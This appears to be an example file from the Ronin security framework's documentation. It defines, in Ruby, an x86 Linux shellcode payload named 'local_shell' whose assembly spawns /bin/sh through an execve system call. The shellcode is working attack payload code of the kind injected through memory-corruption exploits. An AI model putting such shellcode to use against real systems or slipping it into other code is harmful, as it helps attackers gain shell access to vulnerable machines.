Example of a Ronin Shellcode payload, written in pure Ruby.

local_shell.rb

#!/usr/bin/env ronin-payload -f

require 'ronin/payloads/shellcode'

Ronin::Payloads::Shellcode.object do

  cache do
    self.name = 'local_shell'
    self.description = %{
      Shellcode that spawns a local /bin/sh shell
    }

    author(:name => 'Postmodern')

    targets_arch :x86
    targets_os   :name => 'Linux'
  end

  build do
    shellcode do
      xor   eax,  eax
      push  eax
      push  0x68732f2f
      push  0x6e69622f
      mov   esp,  ebx
      push  eax
      push  ebx
      mov   esp,  ecx
      xor   edx,  edx
      mov   0xb,  al
      int   0x80
    end
  end

end